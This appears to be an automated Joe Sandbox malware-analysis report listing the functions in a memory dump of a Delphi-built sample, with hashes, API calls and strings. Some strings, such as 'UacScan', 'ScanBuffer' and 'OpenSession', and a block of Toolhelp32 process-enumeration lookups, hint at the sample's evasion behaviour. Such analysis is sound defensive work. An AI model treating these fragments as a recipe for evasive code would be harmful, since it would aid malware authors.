Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 0fc9391c0d7d727fde264833debb0dc8ad54432c1a26168d54c7298a77c03423
Instruction ID: f375cf8ca0fad4129017f53c13cb87bb555086000b6ab63690b564accf9aab21
Opcode Fuzzy Hash: 0fc9391c0d7d727fde264833debb0dc8ad54432c1a26168d54c7298a77c03423
Instruction Fuzzy Hash: 2E11827470461087DB20FB29C8E496627EEAFC5750B1C5866FACA8F255DB31CC41CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0298E3B8 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0298E3F8

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 8f411ddbb4794aa240ca5a28d4dfcdc1a1bdbabd5fad1a1837957da3b7c56d53
Instruction ID: d22a7f0f7a56a476aca59443d1eca805fdde72821b2942e5aba622e0fac2ba9a
Opcode Fuzzy Hash: 8f411ddbb4794aa240ca5a28d4dfcdc1a1bdbabd5fad1a1837957da3b7c56d53
Instruction Fuzzy Hash: 19314D75A04208AFEB10EEA8C894AAA77FCEB4C314F480566F94DD7280D334E950CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02996D28 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02996D75,?,?,?,00000000), ref: 02996D55

Part of subcall function 02984C24: SysFreeString.OLEAUT32(0299D42C), ref: 02984C32

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 4945b4e7057864ec9ed0f8f71c031b64a7badc18ad7b7a8c0b33e86c67615aaa
Instruction ID: feae7b495436daaf4c827afa82cad872815ca62ac4271f5233b3c6391efdc0cc
Opcode Fuzzy Hash: 4945b4e7057864ec9ed0f8f71c031b64a7badc18ad7b7a8c0b33e86c67615aaa
Instruction Fuzzy Hash: B4E09B716046047FEB05FB7ADC51D9977FDDFC9710B620471E800D3641E9756E008965

Uniqueness

Uniqueness Score: -1.00%

Function 0298582C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298584A

Part of subcall function 02985A90: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02980000,029AB790), ref: 02985AAC
Part of subcall function 02985A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985ACA
Part of subcall function 02985A90: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985AE8
Part of subcall function 02985A90: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02985B06
Part of subcall function 02985A90: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02985B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02985B4F
Part of subcall function 02985A90: RegQueryValueExA.ADVAPI32(?,02985CFC,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02985B95,?,80000001), ref: 02985B6D
Part of subcall function 02985A90: RegCloseKey.ADVAPI32(?,02985B9C,00000000,?,?,00000000,02985B95,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02985B8F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
Instruction ID: 765500925699401f60f236247a7108689fd286298b9b45876ee4e8585ba4ff1b
Opcode Fuzzy Hash: 36ac8199cd3100c6d0ea6747034283b2de4f4045689bdbb239c39140d976698a
Instruction Fuzzy Hash: CEE06DB1A002148BCB10EE58C8C4A5633D8AB08754F4A0961EC68CF24AD370D9188BD0

Uniqueness

Uniqueness Score: -1.00%

Function 02987D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02987DB0

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: bd2a84ff0d0895294c0e13a263d5c609859c5ba1bd10cca2141edc5fd63946ac
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: A5D05B763091507AD220A55E5C44EF75BDCCFC9771F14063DB568C7180D7208C018671

Uniqueness

Uniqueness Score: -1.00%

Function 02987E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0299E0EE,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanString,029E4344,029A8FEC,UacScan,029E4344,029A8FEC,UacInitialize), ref: 02987E23

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f576f8495b3edd4a8e24de7a91902ce1e57f9f8a29b3fb9936075822a1a21783
Instruction ID: ddde7d95716119e10d36f2f313d89a52bfa02dba9424f7100ec20ab363cf4b5c
Opcode Fuzzy Hash: f576f8495b3edd4a8e24de7a91902ce1e57f9f8a29b3fb9936075822a1a21783
Instruction Fuzzy Hash: 1CC08CA6202300069A60B1FC0CC409E428C098423C33C1B3DB028DE2E2D32288122870

Uniqueness

Uniqueness Score: -1.00%

Function 02987E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,029A1133,ScanString,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,OpenSession,029E4344,029A8FEC,ScanBuffer,029E4344,029A8FEC,ScanString), ref: 02987E47

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 198306c4462bc0bb9e5a1539ed44b571103b139370df0eb3b7b09f60ce76aac9
Instruction ID: c4e8f990124edb06549b0a971f4354e139e41ba8ad7778057e9f4acbf5102f4b
Opcode Fuzzy Hash: 198306c4462bc0bb9e5a1539ed44b571103b139370df0eb3b7b09f60ce76aac9
Instruction Fuzzy Hash: 89C08CA66023090E5E60B2FC1CC02E9428E099463833C2B21E028EE1E2D31298222820

Uniqueness

Uniqueness Score: -1.00%

Function 02984C3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02984C4F

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: a5eb2145a2f9f3a0a257849b150a1d14aa2318bab57149dae1fca905b844e32d
Instruction ID: 8823e9c79b5300a1f64ef39fcad795bfba069dc5ac8521781c7aad292224faa5
Opcode Fuzzy Hash: a5eb2145a2f9f3a0a257849b150a1d14aa2318bab57149dae1fca905b844e32d
Instruction Fuzzy Hash: D1C080B160023147FF31B65C9CC079562CCEF453E5F1C00A1D618D7240E760DC0087B5

Uniqueness

Uniqueness Score: -1.00%

Function 02984C60 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0299D42C), ref: 02984C32
SysReAllocStringLen.OLEAUT32(029A9E68,0299D42C,00000016), ref: 02984C7A

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0aec7a72195ce8a2f02e67a76ce15a9c0b7882c7f493080007ec41662f53ab3b
Instruction ID: 6990930d8e1ef917314f491906c8cdd6d6bf6d8713506dcb75d334462dffdc0c
Opcode Fuzzy Hash: 0aec7a72195ce8a2f02e67a76ce15a9c0b7882c7f493080007ec41662f53ab3b
Instruction Fuzzy Hash: 13D080745001435EDF3C771549049B661EEDDD030B74CFE5D99124B140F761C401CA36

Uniqueness

Uniqueness Score: -1.00%

Function 029A9B54 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,029A9B48,00000000,00000001), ref: 029A9B64

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 1ecf4a4c62aea22e303b25804970f665201f61ec254881f5bd691aff6286328f
Instruction ID: a49edc407957baddb002a0a8a6490fd52ce9cb12a6f74c717127be548e773d32
Opcode Fuzzy Hash: 1ecf4a4c62aea22e303b25804970f665201f61ec254881f5bd691aff6286328f
Instruction Fuzzy Hash: D8C092F07E63007EFA106AB52CD2F73558DEB84B01F50181AB600EE2C1E9E2582016B0

Uniqueness

Uniqueness Score: -1.00%

Function 02984BFC Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02984C03

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: a58847c83cd719dccc7eadc7ea48a36911e6046ec6b401b7504d2a9bf001b2b2
Instruction ID: 6f536117f8d94398c8b8491ed5f0d50a9c9b4ad9a5b4e8a15871426e1fa59921
Opcode Fuzzy Hash: a58847c83cd719dccc7eadc7ea48a36911e6046ec6b401b7504d2a9bf001b2b2
Instruction Fuzzy Hash: 25B0123860820358FB5433220E007B6008C1FD0295F8C24519F18D80C0FB01C002883B

Uniqueness

Uniqueness Score: -1.00%

Function 02984C14 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02984C1B

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 7518974b7b8c9db37bd0fba7d8069a02315112198d91de4b777e2875ca661a51
Instruction ID: 23903ec5c050cbdf1b1f0e006b014c5596c95867cc55300f45d3b4637762e0d0
Opcode Fuzzy Hash: 7518974b7b8c9db37bd0fba7d8069a02315112198d91de4b777e2875ca661a51
Instruction Fuzzy Hash: 6EA022BC0003230ACF0B332E000022E203FBFC03003CCC8E803000B000AF3A8000AE38

Uniqueness

Uniqueness Score: -1.00%

Function 029815CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02981A03,?,02982000), ref: 029815E2

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f1c963e95d0fdaf98c9baaf98bb5c2f04b08466af05229b288d18ba443dd421e
Instruction ID: 9afaa233de7acd0f6debcb70989a8fba78e27c076727012c004cd381813930e8
Opcode Fuzzy Hash: f1c963e95d0fdaf98c9baaf98bb5c2f04b08466af05229b288d18ba443dd421e
Instruction Fuzzy Hash: BAF037F0B453008BDF05DF7999423156BD6E789745F548579D60DDB298E77288028B00

Uniqueness

Uniqueness Score: -1.00%

Function 02981682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02982000), ref: 029816A4

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e2ee779de501fecfbc3e4ccb885c337652da04c923376aae4a2db13408c15a75
Instruction ID: 40c87468066ac73c2d1b2dae6cf60d352e0bfc2b4034d71954af76cf0ca1cc7f
Opcode Fuzzy Hash: e2ee779de501fecfbc3e4ccb885c337652da04c923376aae4a2db13408c15a75
Instruction Fuzzy Hash: F3F0B4F2B44795BBDB219F5ADC817A2BBA4FB40314F0501B9F94C9B340D771A8118B98

Uniqueness

Uniqueness Score: -1.00%

Function 029816E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 02981704

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 62d7d5f28d9f8ccecee2e4e09ba2276eeecc480eeed70850dcbc7ea20adfd4ea
Instruction ID: c3aa9b8a8e021dfbd5e1429de91ecd0f0ed3f8ff6da3c9b86cbfaaf8f3112531
Opcode Fuzzy Hash: 62d7d5f28d9f8ccecee2e4e09ba2276eeecc480eeed70850dcbc7ea20adfd4ea
Instruction Fuzzy Hash: 8BE0CDB5300301BFD7106B7D5D407227BDCEF84654F1C4879F549DB241D270E8118B64

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02999B94 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02999E1B,?,?,02999EAD,00000000,02999F89), ref: 02999BA8
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02999BC0
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02999BD2
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02999BE4
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02999BF6
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02999C08
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02999C1A
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02999C2C
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02999C3E
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02999C50
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02999C62
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02999C74
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02999C86
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02999C98
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02999CAA
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02999CBC
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02999CCE

Strings

Module32NextW, xrefs: 02999CC6
Thread32First, xrefs: 02999C6C
Thread32Next, xrefs: 02999C7E
Process32NextW, xrefs: 02999C5A
Module32First, xrefs: 02999C90
Toolhelp32ReadProcessMemory, xrefs: 02999C12
Heap32ListNext, xrefs: 02999BDC
Process32First, xrefs: 02999C24
CreateToolhelp32Snapshot, xrefs: 02999BB8
Heap32First, xrefs: 02999BEE
Process32FirstW, xrefs: 02999C48
Heap32ListFirst, xrefs: 02999BCA
Module32FirstW, xrefs: 02999CB4
Process32Next, xrefs: 02999C36
kernel32.dll, xrefs: 02999BA3
Heap32Next, xrefs: 02999C00
Module32Next, xrefs: 02999CA2

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: ba97919021f4e5b72c44f396cbdc37391dbd9ccaa6543b76a9cdfefd444a4c00
Instruction ID: e753ec16de842c3931447e0f3fe9ac7a7790ac6af1bc83706b4549436bb265fb
Opcode Fuzzy Hash: ba97919021f4e5b72c44f396cbdc37391dbd9ccaa6543b76a9cdfefd444a4c00
Instruction Fuzzy Hash: B831FDB0A852A4DFFF00AFB8D8C9E2933EDAF867107441969B429DF644E7749810CF51

Uniqueness

Uniqueness Score: -1.00%

Function 029858CC Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02987338,02980000,029AB790), ref: 029858E9
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02985900
lstrcpynA.KERNEL32(?,?,?), ref: 02985930
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02987338,02980000,029AB790), ref: 02985994
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02987338,02980000,029AB790), ref: 029859CA
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02987338,02980000,029AB790), ref: 029859DD
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02987338,02980000,029AB790), ref: 029859EF
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02987338,02980000,029AB790), ref: 029859FB
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02987338,02980000), ref: 02985A2F
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02987338), ref: 02985A3B
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02985A5D

Strings

kernel32.dll, xrefs: 029858E4
GetLongPathNameA, xrefs: 029858F7
\, xrefs: 02985A0D

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 266e5ab0769aff93166a824a94df68a1f92a7b7b50e46d271ae5dde388196dde
Instruction ID: a6e680f17821c2d7c4fbb72142dcf6a25b37931aecff66a27730df54ba847e36
Opcode Fuzzy Hash: 266e5ab0769aff93166a824a94df68a1f92a7b7b50e46d271ae5dde388196dde
Instruction Fuzzy Hash: A9414C72D00219AFDB10EAE8CCC8AEEB7ADAF48354F4E45A5A149D7240E730DB498F54

Uniqueness

Uniqueness Score: -1.00%

Function 02985B9C Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02985BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02985BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02985BBF
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02985BEA
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C31
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C41
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C69
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C79
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02985C9F
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02985CAF

Strings

Software\Borland\Delphi\Locales, xrefs: 02985AFC
Software\Borland\Locales, xrefs: 02985AC0, 02985ADE

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
Instruction ID: 67094e6d957d7a5a555fbcd91ef9e39705753ee4432f7cf131361bfb657d8bc0
Opcode Fuzzy Hash: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
Instruction Fuzzy Hash: 133188B1E4011C2AFF25E6B4DC45FDF77AD5B44380F8A41E19608E61C1D7749E888F51

Uniqueness

Uniqueness Score: -1.00%

Function 02987F90 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02987FB1

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2980000_uc.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: b0f2a126e6bfdbec3624709fe996a37f07710e4d7c3479fe4a57f6dc015cd93b
Instruction ID: 7206e6ca4a6bfe504c69779583c0c02e69fa9271a6b0eb523bdfc79133cd6b6e
Opcode Fuzzy Hash: b0f2a126e6bfdbec3624709fe996a37f07710e4d7c3479fe4a57f6dc015cd93b
Instruction Fuzzy Hash: BC11DEB5E00209AFDB04DF99C981DEFF7F9FFC8300B54C569A519EB254E6719A018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0298A780 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A79E

Memory Dump Source

Source File: 00000013.00000002.1503198391.0000000002981000.00000020.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Associated: 00000013.00000002.1503169054.0000000002980000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.1503584552.00000000029AB000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

